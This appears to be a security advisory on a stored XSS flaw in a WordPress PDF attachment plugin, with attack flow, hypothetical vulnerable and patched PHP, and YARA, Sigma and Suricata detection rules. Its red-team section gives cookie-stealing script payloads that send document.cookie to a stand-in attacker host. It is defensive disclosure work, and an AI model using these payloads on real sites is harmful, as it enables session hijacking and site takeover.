CVE-2025-62907

Executive Summary

CVE-2025-62907 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Custom Post Type Attachment WordPress plugin (slug: custom-post-type-pdf-attachment) developed by aviplugins.com. The vulnerability exists in versions up to and including 3.4.6. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into web pages generated by the plugin. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin's input handling. No official patch has been released as of the analysis date. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users who installed the plugin directly from the directory or via the WordPress admin panel are at risk. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported. However, the lack of a patch means the plugin should be considered untrusted until a fix is applied.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level WordPress user)
• User Interaction: Required (Admin must view the affected page)
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the impact can be severe if an admin session is hijacked.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input within the plugin's web page generation. The plugin likely processes file names, descriptions, or other metadata associated with PDF attachments without proper sanitization or output encoding. When this data is rendered in an admin or front-end page, an attacker can inject arbitrary HTML and JavaScript.

Root Cause: The plugin fails to escape or sanitize input before embedding it in HTML output. This is a classic Stored XSS (CWE-79) flaw.

Attack Flow:

1. An attacker with contributor-level access uploads a PDF attachment via the plugin's interface.
2. The attacker crafts the file name or description to include a malicious payload, e.g., <script>alert('XSS')</script>.
3. The plugin stores the payload in the WordPress database.
4. When an administrator views the attachment list or edit page, the payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the admin, or inject further malicious content.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation.

Vulnerable Code (PHP):

// In a template or admin page
echo '<div class="attachment-name">' . $attachment_name . '</div>';

Patched Code (PHP):

// Properly escape output
echo '<div class="attachment-name">' . esc_html( $attachment_name ) . '</div>';

The vulnerable code directly outputs user-controlled data without escaping. The patched code uses WordPress's esc_html() function to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the vulnerable plugin (version <= 3.4.6) installed and activated.
• A user account with at least Contributor role.

Steps:

1. Log in as a contributor.
2. Navigate to the plugin's attachment upload page (e.g., /wp-admin/admin.php?page=custom-post-type-pdf-attachment).
3. Upload a PDF file with a malicious file name, such as:

   test<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.pdf
   

4. Alternatively, if the plugin allows editing attachment descriptions, inject the payload there.
5. Wait for an administrator to view the attachment list or edit page.
6. The payload executes, sending the admin's cookies to the attacker's server.

Proof-of-Concept (PoC) Payload:

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual file names containing HTML/JavaScript characters (e.g., <, >, script).
• Review WordPress logs for suspicious attachment uploads from low-privilege users.
• Use a Web Application Firewall (WAF) to block XSS payloads in file names and descriptions.

Hunting:

• Query the WordPress database for attachments with suspicious metadata:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%';
  

• Check for unexpected outbound connections from the WordPress server to unknown domains.

Indicators of Compromise (IOCs)

• File Names: PDF files with names containing <script>, onerror=, javascript:, or other XSS patterns.
• Database Entries: Rows in wp_postmeta or wp_posts with meta values containing HTML/JavaScript.
• Network Traffic: HTTP requests to attacker-controlled domains from the WordPress admin interface.
• Logs: WordPress debug logs showing unexpected output or errors related to the plugin.

Detection Engineering

YARA Rule

rule CVE_2025_62907_Stored_XSS {
    meta:
        description = "Detects malicious PDF file names associated with CVE-2025-62907"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62907"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"].*['\"]/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: CVE-2025-62907 Stored XSS in Custom Post Type Attachment
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS payloads in PDF file names uploaded via the vulnerable plugin
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: attachment_upload
        file_name|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate file names with similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-62907 Stored XSS - Malicious PDF Upload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"filename="; nocase;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-62907;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. If the plugin is essential, restrict upload permissions to trusted administrators only.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in file names and descriptions.

Long-Term Fix:

• The vendor must release a patched version that properly escapes output using esc_html(), esc_attr(), or similar WordPress functions.
• Users should monitor the plugin's page for updates and apply them immediately.

Workaround:

• Use a security plugin (e.g., Wordfence) to add input validation and output encoding rules.
• Manually sanitize file names via a custom function:

  add_filter( 'wp_handle_upload_prefilter', function( $file ) {
      $file['name'] = sanitize_file_name( $file['name'] );
      return $file;
  } );
  

Valters IT
Securing Digital Frontiers